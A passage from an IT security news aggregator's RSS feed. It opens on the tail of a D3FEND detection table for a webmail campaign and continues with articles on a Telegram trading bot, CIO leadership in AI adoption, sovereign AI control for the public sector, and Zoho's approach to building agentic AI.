<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Telegram Trading Bot Banana Gun Goes Live on Stable Chain]]></title>
<description><![CDATA[Banana Gun’s Telegram trading bot went live on Stable, the stablecoin Layer 1 backed by Bitfinex, on 24 July 2026, and gas on that chain is paid in USDT rather than a volatile native token. If you have ever watched a sniper bot fail because a separate gas token ran dry mid trade, this launch […]
...]]></description>
<link>https://tsecurity.de/de/3694407/it-security-nachrichten/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694407/it-security-nachrichten/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/</guid>
<pubDate>Sat, 25 Jul 2026 18:58:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Banana Gun’s Telegram trading bot went live on Stable, the stablecoin Layer 1 backed by Bitfinex, on 24 July 2026, and gas on that chain is paid in USDT rather than a volatile native token. If you have ever watched a sniper bot fail because a separate gas token ran dry mid trade, this launch […]</p>
<p>The post <a href="https://secureblitz.com/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/">Telegram Trading Bot Banana Gun Goes Live on Stable Chain</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
